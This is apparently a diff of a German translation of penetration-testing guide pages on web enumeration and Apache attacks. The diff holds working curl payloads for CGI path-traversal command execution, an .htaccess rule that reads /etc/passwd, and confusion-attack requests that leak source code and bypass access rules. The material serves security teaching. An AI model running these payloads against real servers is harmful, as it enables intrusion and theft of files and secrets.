- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
||||
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
@ -267,41 +267,41 @@ Tools:
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Beachte, dass jedes Mal, wenn während des brute-forcing oder Spidering ein neues Verzeichnis entdeckt wird, dieses ebenfalls brute-forced werden sollte._
|
||||
_Beachte, dass jedes Mal wenn während des brute-forcing oder der spidering ein neues Verzeichnis entdeckt wird, dieses ebenfalls Brute-Forciert werden sollte._
|
||||
|
||||
### What to check on each file found
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Findet broken links in HTMLs, die anfällig für takeovers sein könnten.
|
||||
- **File Backups**: Sobald du alle Dateien gefunden hast, suche nach Backups aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Gängige Varianten für Backup-Namen sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Du kannst auch die Tools [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**** verwenden.
|
||||
- **Discover new parameters**: Du kannst Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn möglich, solltest du versuchen, versteckte Parameter in jeder ausführbaren Web-Datei zu suchen.**
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
|
||||
- **File Backups**: Sobald du alle Dateien gefunden hast, suche nach Backups aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Häufige Backup-Namensvariationen sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Du kannst auch die Tools [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** verwenden.**
|
||||
- **Discover new parameters**: Du kannst Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn möglich, solltest du versteckte Parameter in jeder ausführbaren Web-Datei suchen.**
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Comments:** Prüfe die Kommentare aller Dateien; du kannst dort **Credentials** oder **versteckte Funktionalität** finden.
|
||||
- Wenn du in einem **CTF** spielst, ist ein gängiger Trick, **Informationen** in Kommentaren am **rechten Rand** der **Seite** zu **verstecken** (mit **hunderten** von **Spaces**, sodass du die Daten nicht siehst, wenn du den Source-Code im Browser öffnest). Eine andere Möglichkeit ist, mehrere neue Zeilen zu verwenden und Informationen in einem Kommentar am **Seitenende** zu verstecken.
|
||||
- **API keys**: Wenn du **irgendeinen API key** findest, gibt es Projekte, die zeigen, wie man API keys verschiedener Plattformen verwendet: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: Wenn du einen API key findest, der mit **AIza** beginnt (z.B. **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik), kannst du das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu prüfen, welche APIs der Key aufrufen kann.
|
||||
- **S3 Buckets**: Während des Spidering prüfe, ob eine **Subdomain** oder ein **Link** mit einem **S3 bucket** zusammenhängt. In diesem Fall solltest du die [**Permissions** des Buckets prüfen](buckets/index.html).
|
||||
- **Comments:** Überprüfe die Comments aller Dateien — dort können **credentials** oder **versteckte Funktionalitäten** zu finden sein.
|
||||
- Wenn du **CTF** spielst, ist ein häufiger Trick, **Informationen** in Comments am **rechten Rand** der **Seite** zu **verstecken** (mittels **hunderten** von **Spaces**, sodass du die Daten nicht siehst, wenn du den Quellcode im Browser öffnest). Eine andere Möglichkeit ist, mehrere neue Zeilen zu verwenden und Informationen in einem Kommentar am **Seitenende** zu verstecken.
|
||||
- **API keys**: Wenn du einen API key findest, gibt es Projekte, die zeigen, wie man API keys verschiedener Plattformen nutzt: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: Wenn du einen API key findest, der wie **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik aussieht, kannst du das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) nutzen, um zu prüfen, welche APIs der Key aufrufen darf.
|
||||
- **S3 Buckets**: Während des spidering prüfe, ob eine **Subdomain** oder ein **Link** auf einen **S3 bucket** verweist. In diesem Fall [prüfe die Berechtigungen des Buckets](buckets/index.html).
|
||||
|
||||
### Special findings
|
||||
|
||||
Während du das **spidering** und **brute-forcing** durchführst, kannst du auf **interessante** **Dinge** stoßen, die du beachten musst.
|
||||
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
|
||||
|
||||
**Interessante Dateien**
|
||||
|
||||
- Suche nach **Links** zu anderen Dateien innerhalb von **CSS** files.
|
||||
- Achte auf **Links** zu anderen Dateien innerhalb von **CSS** files.
|
||||
- [If you find a _**.git**_ file some information can be extracted](git.md)
|
||||
- Wenn du eine _**.env**_ findest, können dort API keys, DB-Passwörter und andere Informationen stehen.
|
||||
- Wenn du **API endpoints** findest, solltest du diese [auch testen](web-api-pentesting.md). Diese sind keine Dateien, werden aber wahrscheinlich wie solche aussehen.
|
||||
- **JS files**: In der Spidering-Sektion wurden mehrere Tools erwähnt, die Pfade aus JS files extrahieren können. Es ist außerdem interessant, **jede gefundene JS-Datei zu überwachen**, da eine Änderung darauf hinweisen kann, dass eine potenzielle Schwachstelle in den Code eingeführt wurde. Du könntest z.B. [**JSMon**](https://github.com/robre/jsmon)** verwenden.**
|
||||
- Du solltest gefundene JS files auch mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) prüfen, um bekannte Vulnerabilities zu finden.
|
||||
- Wenn du eine _**.env**_ findest, können Informationen wie api keys, DB-Passwörter und andere vertrauliche Daten darin stehen.
|
||||
- Wenn du **API endpoints** findest, solltest du [diese auch testen](web-api-pentesting.md). Diese sind zwar keine Dateien, sehen aber oft so aus.
|
||||
- **JS files**: In der Spidering-Sektion wurden bereits Tools erwähnt, die Pfade aus JS files extrahieren können. Es ist auch sinnvoll, jede gefundene JS-Datei zu **monitoren**, da eine Änderung anzeigen kann, dass eine potenzielle Verwundbarkeit in den Code eingeführt wurde. Du könntest z.B. [**JSMon**](https://github.com/robre/jsmon)** verwenden.**
|
||||
- Prüfe gefundene JS files außerdem mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole), um bekannte Verwundbarkeiten zu finden.
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript mit Zeichen:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- Oft musst du die verwendeten regulären Ausdrücke verstehen. Nützlich dafür sind: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Du könntest außerdem Seiten überwachen, bei denen Formulare erkannt wurden, da eine Änderung in Parametern oder das Erscheinen eines neuen Formulars auf eine potenziell neue verwundbare Funktionalität hinweisen kann.
|
||||
- In vielen Fällen musst du die verwendeten regulären Ausdrücke verstehen. Das ist hilfreich: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Du könntest auch die Dateien überwachen, in denen Formulare erkannt wurden, da eine Änderung von Parametern oder das Auftauchen eines neuen Formulars auf eine potenziell neue verwundbare Funktionalität hinweisen kann.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
@ -312,28 +312,28 @@ Während du das **spidering** und **brute-forcing** durchführst, kannst du auf
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
Wenn eine Seite mit diesem Code antwortet, ist wahrscheinlich ein schlecht konfigurierter Proxy verantwortlich. **Wenn du eine HTTP-Anfrage wie: `GET https://google.com HTTP/1.1`** sendest (mit dem Host-Header und anderen üblichen Headern), wird der **Proxy** versuchen, _**google.com**_ zu erreichen und du hättest damit eine SSRF gefunden.
|
||||
Wenn eine Seite mit diesem Code antwortet, ist vermutlich ein schlecht konfigurierter proxy im Spiel. **Wenn du eine HTTP-Request wie `GET https://google.com HTTP/1.1` sendest** (mit Host-Header und anderen üblichen Headern), wird der proxy versuchen, auf _**google.com**_ zuzugreifen und du hast damit wahrscheinlich ein SSRF gefunden.
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Wenn der anfragende Server für Authentication ein **Windows**-System ist oder du ein Login findest, das nach deinen **Credentials** (und nach einem **Domain** **Name**) fragt, kannst du eine **Information Disclosure** provozieren.\
|
||||
**Sende** den **Header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` und aufgrund der Funktionsweise von **NTLM authentication** wird der Server interne Infos (IIS version, Windows version...) im Header "WWW-Authenticate" zurückgeben.\
|
||||
Wenn der Server, der zur Authentifizierung auffordert, **Windows** ist oder du ein Login siehst, das nach deinen **credentials** (und nach einem **domain name**) fragt, kannst du eine **Information Disclosure** provozieren.\
|
||||
**Sende** den **Header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` und aufgrund der Funktionsweise von **NTLM authentication** wird der Server interne Informationen (IIS-Version, Windows-Version...) im Header "WWW-Authenticate" zurückgeben.\
|
||||
Du kannst das mit dem **nmap plugin** "_http-ntlm-info.nse_" automatisieren.
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Es ist möglich, **Inhalt** in eine **Redirection** zu packen. Dieser Inhalt **wird dem Nutzer nicht angezeigt** (da der Browser die Redirection ausführt), aber es könnte etwas darin **versteckt** sein.
|
||||
Es ist möglich, Content in einer **Redirection** unterzubringen. Dieser Content **wird dem Benutzer nicht angezeigt** (da der Browser die Weiterleitung ausführt), aber dort könnten Informationen **versteckt** sein.
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
Nachdem eine umfassende Enumeration der Web-Applikation durchgeführt wurde, ist es Zeit, viele mögliche Vulnerabilities zu prüfen. Die Checkliste findest du hier:
|
||||
Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
Mehr Infos zu Web-Vulns:
|
||||
Find more info about web vulns in:
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
@ -341,7 +341,7 @@ Mehr Infos zu Web-Vulns:
|
||||
|
||||
### Monitor Pages for changes
|
||||
|
||||
Du kannst Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die möglicherweise Vulnerabilities einführen.
|
||||
Du kannst Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die verwundbare Änderungen einführen könnten.
|
||||
|
||||
### HackTricks Automatic Commands
|
||||
```
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Ausführbare PHP-Erweiterungen
|
||||
|
||||
Prüfe, welche PHP-Erweiterungen vom Apache-Server ausgeführt werden. Um sie zu finden, kannst du ausführen:
|
||||
Überprüfe, welche Erweiterungen der Apache-Server ausführt. Um sie zu finden, kannst du folgenden Befehl ausführen:
|
||||
```bash
|
||||
grep -R -B1 "httpd-php" /etc/apache2
|
||||
```
|
||||
Außerdem einige Orte, an denen du diese Konfiguration finden kannst:
|
||||
Außerdem sind einige Orte, an denen Sie diese Konfiguration finden können:
|
||||
```bash
|
||||
/etc/apache2/mods-available/php5.conf
|
||||
/etc/apache2/mods-enabled/php5.conf
|
||||
@ -21,11 +21,11 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
|
||||
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
||||
Linux
|
||||
```
|
||||
## LFI über .htaccess ErrorDocument file provider (ap_expr)
|
||||
## LFI über .htaccess ErrorDocument Dateianbieter (ap_expr)
|
||||
|
||||
Wenn du die .htaccess eines Verzeichnisses kontrollieren kannst und AllowOverride für diesen Pfad FileInfo enthält, kannst du 404-Antworten dazu verwenden, beliebige lokale Dateien auszulesen, indem du die ap_expr file()-Funktion innerhalb von ErrorDocument verwendest.
|
||||
Wenn du die .htaccess eines Verzeichnisses kontrollieren kannst und AllowOverride FileInfo für diesen Pfad eingeschlossen ist, kannst du 404-Antworten in beliebige lokale Dateilesen umwandeln, indem du die ap_expr file()-Funktion innerhalb von ErrorDocument verwendest.
|
||||
|
||||
- Voraussetzungen:
|
||||
- Anforderungen:
|
||||
- Apache 2.4 mit aktiviertem Expression-Parser (ap_expr) (Standard in 2.4).
|
||||
- Der vhost/dir muss .htaccess erlauben, ErrorDocument zu setzen (AllowOverride FileInfo).
|
||||
- Der Apache worker user muss Leseberechtigungen für die Zieldatei haben.
|
||||
@ -37,31 +37,31 @@ Header always set X-Debug-Tenant "demo"
|
||||
# On any 404 under this directory, return the contents of an absolute filesystem path
|
||||
ErrorDocument 404 %{file:/etc/passwd}
|
||||
```
|
||||
Auslösen durch Anfordern eines nicht existierenden Pfads unterhalb dieses Verzeichnisses, zum Beispiel beim Missbrauch von userdir-style hosting:
|
||||
Löse dies aus, indem du einen beliebigen nicht vorhandenen Pfad unterhalb dieses Verzeichnisses anforderst, zum Beispiel beim Missbrauch von userdir-style hosting:
|
||||
```bash
|
||||
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
|
||||
```
|
||||
Hinweise und Tipps:
|
||||
- Nur absolute Pfade funktionieren. Der Inhalt wird als Response-Body für den 404-Handler zurückgegeben.
|
||||
- Effektive Leseberechtigungen entsprechen denen des Apache-Benutzers (typischerweise www-data/apache). In Standard-Setups wirst du /root/* oder /etc/shadow nicht lesen können.
|
||||
- Selbst wenn .htaccess root-owned ist, wenn das übergeordnete Verzeichnis tenant-owned ist und Umbenennen erlaubt, kannst du eventuell das originale .htaccess umbenennen und per SFTP/FTP deine eigene Ersatzdatei hochladen:
|
||||
- Es funktionieren nur absolute Pfade. Der Inhalt wird als Antwortkörper des 404-Handlers zurückgegeben.
|
||||
- Die effektiven Lese-Rechte entsprechen dem Apache-Benutzer (typischerweise www-data/apache). In Standard-Setups kannst du nicht /root/* oder /etc/shadow lesen.
|
||||
- Selbst wenn .htaccess root-owned ist, falls das übergeordnete Verzeichnis tenant-owned ist und rename erlaubt, kannst du möglicherweise das originale .htaccess umbenennen und per SFTP/FTP eine eigene Ersatzdatei hochladen:
|
||||
- rename .htaccess .htaccess.bk
|
||||
- put your malicious .htaccess
|
||||
- Verwende dies, um Anwendungscode unter DocumentRoot oder vhost config paths zu lesen, um Secrets (DB creds, API keys, etc.) zu sammeln.
|
||||
- Nutze dies, um Anwendungsquellcode unter DocumentRoot oder vhost config paths zu lesen und Secrets (DB creds, API keys, etc.) zu sammeln.
|
||||
|
||||
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
|
||||
|
||||
Diese Art von Angriffen wurde [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) eingeführt und dokumentiert, und das Folgende ist eine Zusammenfassung. Der "confusion" Angriff missbraucht im Wesentlichen, dass die Dutzenden Module, die zusammen einen Apache bilden, nicht perfekt synchronisiert arbeiten; wenn einige davon unerwartete Daten verändern, kann das in einem späteren Modul eine Schwachstelle verursachen.
|
||||
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
|
||||
|
||||
### Filename Confusion
|
||||
|
||||
#### Truncation
|
||||
|
||||
Der **`mod_rewrite`** wird den Inhalt von `r->filename` nach dem Zeichen `?` kürzen ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Das ist nicht grundsätzlich falsch, da die meisten Module `r->filename` als URL behandeln. Aber in anderen Fällen wird dies als Dateipfad behandelt, was ein Problem verursachen kann.
|
||||
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
|
||||
|
||||
- **Path Truncation**
|
||||
|
||||
Es ist möglich, `mod_rewrite` wie im folgenden Regelbeispiel zu missbrauchen, um auf andere Dateien im Dateisystem zuzugreifen, indem man den letzten Teil des erwarteten Pfads entfernt und einfach ein `?` anhängt:
|
||||
Es ist möglich, `mod_rewrite` wie im folgenden Regelbeispiel zu missbrauchen, um auf andere Dateien im Dateisystem zuzugreifen, indem der letzte Teil des erwarteten Pfads entfernt wird, einfach indem ein `?` hinzugefügt wird:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
|
||||
@ -76,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F
|
||||
```
|
||||
- **Irreführende RewriteFlag-Zuweisung**
|
||||
|
||||
In der folgenden Rewrite-Regel wird alles, dessen URL auf .php endet, als php behandelt und ausgeführt. Daher ist es möglich, eine URL zu senden, die nach dem `?`-Zeichen auf .php endet, während im Pfad eine Datei eines anderen Typs (z. B. ein Bild) geladen wird, die bösartigen php-Code enthält:
|
||||
In der folgenden RewriteRule wird eine URL, solange sie auf .php endet, als php behandelt und ausgeführt. Daher ist es möglich, eine URL zu senden, die nach dem `?`-Zeichen auf .php endet, während im Pfad ein anderes Dateiformat (z. B. ein Bild) geladen wird, das bösartigen php-Code enthält:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
|
||||
@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
|
||||
```
|
||||
#### **ACL Bypass**
|
||||
|
||||
Es ist möglich, auf Dateien zuzugreifen, auf die der Benutzer keinen Zugriff haben sollte, obwohl der Zugriff durch Konfigurationen wie diese verweigert sein sollte:
|
||||
Es ist möglich, auf Dateien zuzugreifen, auf die der Benutzer eigentlich keinen Zugriff haben sollte, selbst wenn der Zugriff durch Konfigurationen wie diese verweigert sein sollte:
|
||||
```xml
|
||||
<Files "admin.php">
|
||||
AuthType Basic
|
||||
@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
|
||||
Require valid-user
|
||||
</Files>
|
||||
```
|
||||
Das liegt daran, dass PHP-FPM standardmäßig URLs empfängt, die auf `.php` enden, wie `http://server/admin.php%3Fooo.php`, und weil PHP-FPM alles nach dem Zeichen `?` entfernt, erlaubt die vorherige URL das Laden von `/admin.php`, selbst wenn die vorherige Regel dies verboten hat.
|
||||
Das liegt daran, dass PHP-FPM standardmäßig URLs erhält, die auf `.php` enden, wie `http://server/admin.php%3Fooo.php`, und weil PHP-FPM alles nach dem Zeichen `?` entfernt, erlaubt die vorherige URL das Laden von `/admin.php`, selbst wenn die vorherige Regel dies verboten hat.
|
||||
|
||||
### Verwirrung um DocumentRoot
|
||||
### DocumentRoot-Verwirrung
|
||||
```bash
|
||||
DocumentRoot /var/www/html
|
||||
RewriteRule ^/html/(.*)$ /$1.html
|
||||
```
|
||||
Eine interessante Tatsache über Apache ist, dass die vorherige Rewrite-Anweisung versuchen wird, die Datei sowohl aus dem documentRoot als auch aus root zu laden. Daher wird eine Anfrage an `https://server/abouth.html` im Dateisystem nach der Datei in `/var/www/html/about.html` und `/about.html` suchen. Das kann im Grunde ausgenutzt werden, um auf Dateien im Dateisystem zuzugreifen.
|
||||
Eine interessante Tatsache über Apache ist, dass das vorherige Rewrite versuchen wird, die Datei sowohl aus dem documentRoot als auch aus root zu öffnen. Eine Anfrage an `https://server/abouth.html` prüft also auf die Datei in `/var/www/html/about.html` und `/about.html` im Dateisystem. Das kann im Grunde missbraucht werden, um auf Dateien im Dateisystem zuzugreifen.
|
||||
|
||||
#### **Serverseitige Offenlegung des Quellcodes**
|
||||
#### **Serverseitige Source Code Disclosure**
|
||||
|
||||
- **CGI-Quellcode offenlegen**
|
||||
- **CGI Source Code offenlegen**
|
||||
|
||||
Allein das Anhängen von %3F am Ende reicht aus, um den Quellcode eines CGI-Moduls zu leaken:
|
||||
Einfaches Anhängen von %3F am Ende reicht aus, um den Source Code eines cgi-Moduls zu leak:
|
||||
```bash
|
||||
curl http://server/cgi-bin/download.cgi
|
||||
# the processed result from download.cgi
|
||||
@ -125,7 +125,7 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
|
||||
```
|
||||
- **PHP-Quellcode offenlegen**
|
||||
|
||||
Wenn ein Server mehrere Domains hat, wobei eine davon eine statische Domain ist, kann dies missbraucht werden, um das Dateisystem zu durchsuchen und php code zu leak:
|
||||
Wenn ein Server mehrere Domains hat, wobei eine davon eine statische Domain ist, kann dies missbraucht werden, um das Dateisystem zu traversieren und leak php code:
|
||||
```bash
|
||||
# Leak the config.php file of the www.local domain from the static.local domain
|
||||
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
|
||||
@ -133,52 +133,52 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
|
||||
```
|
||||
#### **Local Gadgets Manipulation**
|
||||
|
||||
Das Hauptproblem des vorherigen Angriffs ist, dass standardmäßig die meisten Zugriffe auf das Dateisystem verweigert werden, wie in der [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) von Apache HTTP Server:
|
||||
Das Hauptproblem beim vorherigen Angriff ist, dass standardmäßig die meisten Zugriffe auf das Dateisystem, wie in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
|
||||
```xml
|
||||
<Directory />
|
||||
AllowOverride None
|
||||
Require all denied
|
||||
</Directory>
|
||||
```
|
||||
Allerdings erlauben [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) Betriebssysteme standardmäßig den Zugriff auf `/usr/share`:
|
||||
Allerdings erlauben [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) Betriebssysteme standardmäßig `/usr/share`:
|
||||
```xml
|
||||
<Directory /usr/share>
|
||||
AllowOverride None
|
||||
Require all granted
|
||||
</Directory>
|
||||
```
|
||||
Daher wäre es möglich, **Dateien unter `/usr/share` in diesen Distributionen zu missbrauchen.**
|
||||
Daher wäre es möglich, **Dateien innerhalb von `/usr/share` in diesen Distributionen zu missbrauchen.**
|
||||
|
||||
**Lokales Gadget für Information Disclosure**
|
||||
**Local Gadget to Information Disclosure**
|
||||
|
||||
- **Apache HTTP Server** mit **websocketd** kann das **dump-env.php** Skript unter **/usr/share/doc/websocketd/examples/php/** exponieren, welches sensible Umgebungsvariablen leak.
|
||||
- Server mit **Nginx** oder **Jetty** könnten sensible Informationen von Webanwendungen (z. B. **web.xml**) über ihre Standard-Webroots unter **/usr/share** exponieren:
|
||||
- **Apache HTTP Server** mit **websocketd** kann das Skript **dump-env.php** unter **/usr/share/doc/websocketd/examples/php/** exponieren, was sensible Umgebungsvariablen leak.
|
||||
- Server mit **Nginx** oder **Jetty** könnten sensible Webanwendungsinformationen (z. B. **web.xml**) über ihre Standard-Webroots unter **/usr/share** exponieren:
|
||||
- **/usr/share/nginx/html/**
|
||||
- **/usr/share/jetty9/etc/**
|
||||
- **/usr/share/jetty9/webapps/**
|
||||
|
||||
**Lokales Gadget für XSS**
|
||||
**Local Gadget to XSS**
|
||||
|
||||
- Auf Ubuntu Desktop mit installiertem **LibreOffice** kann das Ausnutzen der Sprachumschaltfunktion der Hilfedateien zu **Cross-Site Scripting (XSS)** führen. Das Manipulieren der URL bei **/usr/share/libreoffice/help/help.html** kann auf bösartige Seiten oder ältere Versionen umleiten durch eine unsichere RewriteRule.
|
||||
- Auf Ubuntu Desktop mit installiertem **LibreOffice** kann das Ausnutzen der Sprachumschaltfunktion der Hilfedateien zu **Cross-Site Scripting (XSS)** führen. Das Manipulieren der URL bei **/usr/share/libreoffice/help/help.html** kann auf bösartige Seiten oder ältere Versionen umleiten durch eine unsichere **RewriteRule**.
|
||||
|
||||
**Lokales Gadget für LFI**
|
||||
**Local Gadget to LFI**
|
||||
|
||||
- Wenn PHP oder bestimmte Frontend-Pakete wie **JpGraph** oder **jQuery-jFeed** installiert sind, können deren Dateien genutzt werden, um sensitive Dateien wie **/etc/passwd** zu lesen:
|
||||
- Wenn PHP oder bestimmte Frontend-Pakete wie **JpGraph** oder **jQuery-jFeed** installiert sind, können deren Dateien ausgenutzt werden, um sensible Dateien wie **/etc/passwd** zu lesen:
|
||||
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
|
||||
- **/usr/share/javascript/jquery-jfeed/proxy.php**
|
||||
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
|
||||
|
||||
**Lokales Gadget für SSRF**
|
||||
**Local Gadget to SSRF**
|
||||
|
||||
- Durch Nutzung von **MagpieRSS**'s magpie_debug.php unter **/usr/share/php/magpierss/scripts/magpie_debug.php** kann leicht eine SSRF-Schwachstelle erzeugt werden, die als Tor zu weiteren Exploits dient.
|
||||
- Die Nutzung von MagpieRSSs **magpie_debug.php** unter **/usr/share/php/magpierss/scripts/magpie_debug.php** kann einfach eine **SSRF**-Schwachstelle erzeugen und dadurch ein Tor zu weiteren Exploits öffnen.
|
||||
|
||||
**Lokales Gadget für RCE**
|
||||
**Local Gadget to RCE**
|
||||
|
||||
- Möglichkeiten für **Remote Code Execution (RCE)** sind vielfältig, etwa durch verwundbare Installationen wie veraltetes **PHPUnit** oder **phpLiteAdmin**. Diese können ausgenutzt werden, um beliebigen Code auszuführen und zeigen das große Potenzial der Manipulation lokaler Gadgets.
|
||||
- Möglichkeiten für **Remote Code Execution (RCE)** sind zahlreich, etwa durch verwundbare Installationen wie veraltetes **PHPUnit** oder **phpLiteAdmin**. Diese können ausgenutzt werden, um beliebigen Code auszuführen und zeigen das hohe Potenzial der Manipulation lokaler Gadgets.
|
||||
|
||||
#### **Jailbreak von lokalen Gadgets**
|
||||
#### **Jailbreak from Local Gadgets**
|
||||
|
||||
Es ist außerdem möglich, aus den erlaubten Ordnern auszubrechen, indem man Symlinks folgt, die von installierter Software in diesen Ordnern erzeugt wurden, zum Beispiel:
|
||||
Es ist auch möglich, aus den erlaubten Ordnern auszubrechen, indem man Symlinks folgt, die von installierter Software in diesen Ordnern erzeugt wurden, wie:
|
||||
|
||||
